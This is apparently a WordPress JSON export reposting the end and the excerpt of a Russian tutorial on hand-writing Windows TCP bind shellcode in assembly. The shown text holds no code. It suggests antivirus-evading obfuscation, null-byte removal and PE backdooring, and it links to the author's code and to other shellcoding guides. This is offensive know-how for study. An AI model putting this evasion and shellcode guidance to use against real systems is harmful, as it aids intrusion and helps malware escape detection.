\u0442\u0438\u043f\u0430 Reverse TCP \u0438\u043b\u0438 Exec cmd \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u043b\u0435\u0433\u043a\u043e \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u044b \u043f\u043e\u0441\u043b\u0435 \u0440\u0430\u0437\u0431\u043e\u0440\u0430 \u044d\u0442\u043e\u0433\u043e \u043f\u0440\u0438\u043c\u0435\u0440\u0430.<\/p>\n<p>  \u041d\u0430\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u0430\u043b\u044c\u043d\u0435\u0439\u0448\u0435\u0439 \u0440\u0430\u0431\u043e\u0442\u044b \u043c\u043e\u0433\u0443\u0442 \u0431\u044b\u0442\u044c \u0442\u0430\u043a\u0438\u043c\u0438:<\/p>\n<ul>\n<li>\u0438\u0437\u0431\u0430\u0432\u043b\u0435\u043d\u0438\u0435 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430 \u043e\u0442 \u043d\u0443\u043b\u0435\u0432\u044b\u0445 \u0431\u0430\u0439\u0442\u043e\u0432 \\x00. \u0417\u0434\u0435\u0441\u044c \u0431\u0443\u0434\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c\u0441\u044f \u00ab\u043f\u043e\u043b\u0438\u043c\u043e\u0440\u0444\u0438\u0437\u043c\u00bb \u2014 \u0434\u043e\u0441\u0442\u0438\u0436\u0435\u043d\u0438\u0435 \u043e\u0434\u043d\u043e\u0433\u043e \u0438 \u0442\u043e \u0436\u0435 \u0440\u0435\u0437\u0443\u043b\u044c\u0442\u0430\u0442\u0430 \u0440\u0430\u0437\u043d\u044b\u043c\u0438 \u0438\u043d\u0441\u0442\u0440\u0443\u043a\u0446\u0438\u044f\u043c\u0438 \u0430\u0441\u0441\u0435\u043c\u0431\u043b\u0435\u0440\u0430;<\/li>\n<li>\u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u044f \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430 \u043e\u0442 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u0430\u043c\u0438 \u2014 \u043e\u0434\u0438\u043d \u0438\u0437 \u0432\u0430\u0440\u0438\u0430\u043d\u0442\u043e\u0432, \u043a\u043e\u0433\u0434\u0430 \u0442\u0435\u043b\u043e \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430 \u0440\u0430\u0441\u0448\u0438\u0444\u0440\u043e\u0432\u044b\u0432\u0430\u0435\u0442\u0441\u044f \u0432 \u043f\u0430\u043c\u044f\u0442\u0438 \u0438 \u0437\u0430\u0442\u0435\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0435\u0442\u0441\u044f, \u0442\u0430\u043a\u0438\u043c \u043e\u0431\u0440\u0430\u0437\u043e\u043c \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043e\u0432 \u043d\u0435 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0438\u0432\u0430\u044e\u0442 \u0448\u0435\u043b\u043b\u043a\u043e\u0434;<\/li>\n<li>\u043c\u043e\u0436\u043d\u043e \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u044c \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c \u043c\u043d\u043e\u0433\u043e\u043a\u0440\u0430\u0442\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043a \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0443 \u2014 \u0432 \u0442\u0435\u043a\u0443\u0449\u0435\u043c \u043f\u0440\u0438\u043c\u0435\u0440\u0435 \u0434\u043b\u044f \u043f\u043e\u0432\u0442\u043e\u0440\u043d\u043e\u0433\u043e \u043f\u043e\u0434\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u044f \u043d\u0435\u043e\u0431\u0445\u043e\u0434\u0438\u043c\u043e \u043f\u0435\u0440\u0435\u0437\u0430\u043f\u0443\u0441\u043a\u0430\u0442\u044c \u0448\u0435\u043b\u043b\u043a\u043e\u0434;<\/li>\n<li>\u043c\u0438\u043d\u0438\u043c\u0438\u0437\u0430\u0446\u0438\u0438 \u043a\u043e\u0434\u0430 \u2014 \u043d\u0435\u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043a\u0443\u0441\u043a\u0438 \u043a\u043e\u0434\u0430 \u043c\u043e\u0436\u043d\u043e \u043e\u043f\u0442\u0438\u043c\u0438\u0437\u0438\u0440\u043e\u0432\u0430\u0442\u044c, \u0447\u0442\u043e\u0431\u044b \u0434\u043b\u0438\u043d\u0430 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430 \u0431\u044b\u043b\u0430 \u043c\u0435\u043d\u044c\u0448\u0435.<\/li>\n<\/ul>\n<p>  <b>\u041f\u043e\u043b\u0435\u0437\u043d\u044b\u0435 \u0441\u0441\u044b\u043b\u043a\u0438:<\/b><\/p>\n<ul>\n<li><a href=\"https:\/\/github.com\/2S1one\/Windows-Shellcoding\" rel=\"nofollow\">\u041a\u043e\u0434<\/a> \u043d\u0430 githab;<\/li>\n<li>\u0421\u0430\u043c\u043e\u0439 \u043f\u043e\u043b\u0435\u0437\u043d\u043e\u0439 \u0434\u043b\u044f \u043c\u0435\u043d\u044f \u043e\u043a\u0430\u0437\u0430\u043b\u0430\u0441\u044c <a href=\"http:\/\/www.hick.org\/code\/skape\/papers\/win32-shellcode.pdf\" rel=\"nofollow\">\u043a\u043d\u0438\u0433\u0430<\/a>. \u0412 \u043d\u0435\u0439 \u0440\u0430\u0441\u0441\u043c\u043e\u0442\u0440\u0435\u043d\u044b \u043e\u0441\u043d\u043e\u0432\u043d\u044b\u0435 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u044b, \u0442\u0435\u0445\u043d\u0438\u043a\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, socket reuse);<\/li>\n<li><a href=\"https:\/\/www.corelan.be\/index.php\/2010\/02\/25\/exploit-writing-tutorial-part-9-introduction-to-win32-shellcoding\/\" rel=\"nofollow\">\u0421\u0435\u0440\u0438\u044f \u0441\u0442\u0430\u0442\u0435\u0439<\/a> corelan;<\/li>\n<\/ul>\n<p>  \u0415\u0441\u043b\u0438 \u0443 \u0432\u0430\u0441 \u043e\u0441\u0442\u0430\u043b\u0438\u0441\u044c \u0432\u043e\u043f\u0440\u043e\u0441\u044b, \u0442\u043e \u043f\u0438\u0448\u0438\u0442\u0435 \u0432 \u043a\u043e\u043c\u043c\u0435\u043d\u0442\u0430\u0440\u0438\u044f\u0445.<\/div>\n<p> \u0441\u0441\u044b\u043b\u043a\u0430 \u043d\u0430 \u043e\u0440\u0438\u0433\u0438\u043d\u0430\u043b \u0441\u0442\u0430\u0442\u044c\u0438 <a href=\"https:\/\/habr.com\/ru\/post\/522966\/\"> https:\/\/habr.com\/ru\/post\/522966\/<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"\n<div class=\"post__text post__text-html post__text_v1\" id=\"post-content-body\"><img decoding=\"async\" src=\"https:\/\/habrastorage.org\/webt\/tm\/5q\/xt\/tm5qxteuko3hhv-1ctkgutigvj4.jpeg\" alt=\"image\"><\/p>\n<p>  \u0412 \u044d\u0442\u043e\u0439 \u0441\u0442\u0430\u0442\u044c\u0435 \u044f \u0445\u043e\u0447\u0443 \u043f\u043e\u043a\u0430\u0437\u0430\u0442\u044c \u0438 \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u043e\u0431\u044a\u044f\u0441\u043d\u0438\u0442\u044c \u043f\u0440\u0438\u043c\u0435\u0440 \u0441\u043e\u0437\u0434\u0430\u043d\u0438\u044f \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u0430 \u043d\u0430 \u0430\u0441\u0441\u0435\u043c\u0431\u043b\u0435\u0440\u0435 \u0432 \u041e\u0421 Windows 7 x86. \u041d\u0435 \u0441\u043c\u043e\u0442\u0440\u044f \u043d\u0430 \u0441\u043e\u043b\u0438\u0434\u043d\u044b\u0439 \u0432\u043e\u0437\u0440\u0430\u0441\u0442 \u0434\u0430\u043d\u043d\u043e\u0439 \u0442\u0435\u043c\u044b, \u043e\u043d\u0430 \u043e\u0441\u0442\u0430\u0451\u0442\u0441\u044f \u0430\u043a\u0442\u0443\u0430\u043b\u044c\u043d\u043e\u0439 \u0438 \u043f\u043e \u0441\u0435\u0439 \u0434\u0435\u043d\u044c: \u044d\u0442\u043e \u0441\u0442\u0430\u0440\u0442\u043e\u0432\u0430\u044f \u0442\u043e\u0447\u043a\u0430 \u0432 \u043d\u0430\u043f\u0438\u0441\u0430\u043d\u0438\u0438 \u0441\u0432\u043e\u0438\u0445 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u043e\u0432, \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u043f\u0435\u0440\u0435\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0439 \u0431\u0443\u0444\u0435\u0440\u043e\u0432, \u043e\u0431\u0444\u0443\u0441\u043a\u0430\u0446\u0438\u0438 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u043e\u0432 \u0434\u043b\u044f \u0441\u043e\u043a\u0440\u044b\u0442\u0438\u044f \u0438\u0445 \u043e\u0442 \u0430\u043d\u0442\u0438\u0432\u0438\u0440\u0443\u0441\u043e\u0432, \u0432\u043d\u0435\u0434\u0440\u0435\u043d\u0438\u044f \u043a\u043e\u0434\u0430 \u0432 \u0438\u0441\u043f\u043e\u043b\u043d\u044f\u0435\u043c\u044b\u0439 \u0444\u0430\u0439\u043b (PE Backdooring). \u0412 \u043a\u0430\u0447\u0435\u0441\u0442\u0432\u0435 \u043f\u0440\u0438\u043c\u0435\u0440\u0430 \u044f \u0432\u044b\u0431\u0440\u0430\u043b TCP bind shellcode, \u0442.\u043a. \u043d\u0430 \u043c\u043e\u0439 \u0432\u0437\u0433\u043b\u044f\u0434 \u2014 \u044d\u0442\u043e \u043b\u0443\u0447\u0448\u0438\u0439 \u043f\u0440\u0438\u043c\u0435\u0440, \u043f\u043e\u0442\u043e\u043c\u0443 \u0447\u0442\u043e \u0432\u0441\u0435 \u043e\u0441\u0442\u0430\u043b\u044c\u043d\u044b\u0435 \u0431\u0430\u0437\u043e\u0432\u044b\u0435 \u0448\u0435\u043b\u043b\u043a\u043e\u0434\u044b \u0438\u043c\u0435\u044e\u0442 \u043c\u043d\u043e\u0433\u043e \u043e\u0431\u0449\u0435\u0433\u043e \u0441 \u043d\u0438\u043c. \u0421\u0442\u0430\u0442\u044c\u044f \u0431\u0443\u0434\u0435\u0442 \u043f\u043e\u043b\u0435\u0437\u043d\u0430 \u0434\u043b\u044f \u0441\u043f\u0435\u0446\u0438\u0430\u043b\u0438\u0441\u0442\u043e\u0432 \u043f\u043e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u043e\u043d\u043d\u043e\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043f\u0435\u043d\u0442\u0435\u0441\u0442\u0435\u0440\u043e\u0432, \u043d\u0430\u0447\u0438\u043d\u0430\u044e\u0449\u0438\u0445 \u0440\u0435\u0432\u0435\u0440\u0441-\u0438\u043d\u0436\u0435\u043d\u0435\u0440\u043e\u0432 \u0438 \u0432\u0441\u0435\u043c, \u043a\u0442\u043e \u0436\u0435\u043b\u0430\u0435\u0442 \u0440\u0430\u0437\u043e\u0431\u0440\u0430\u0442\u044c\u0441\u044f \u0432 \u0431\u0430\u0437\u043e\u0432\u044b\u0445 \u043f\u0440\u0438\u043d\u0446\u0438\u043f\u0430\u0445 \u0440\u0430\u0431\u043e\u0442\u044b \u041e\u0421 Windows. \u041f\u043b\u044e\u0441\u043e\u043c \u2014 \u0443\u043b\u0443\u0447\u0448\u0430\u044e\u0442\u0441\u044f \u043d\u0430\u0432\u044b\u043a\u0438 \u043f\u0440\u043e\u0433\u0440\u0430\u043c\u043c\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f.<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[],"tags":[],"class_list":["post-311860","post","type-post","status-publish","format-standard","hentry"],"_links":{"self":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/311860","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=311860"}],"version-history":[{"count":0,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=\/wp\/v2\/posts\/311860\/revisions"}],"wp:attachment":[{"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=311860"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=311860"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/savepearlharbor.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=311860"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}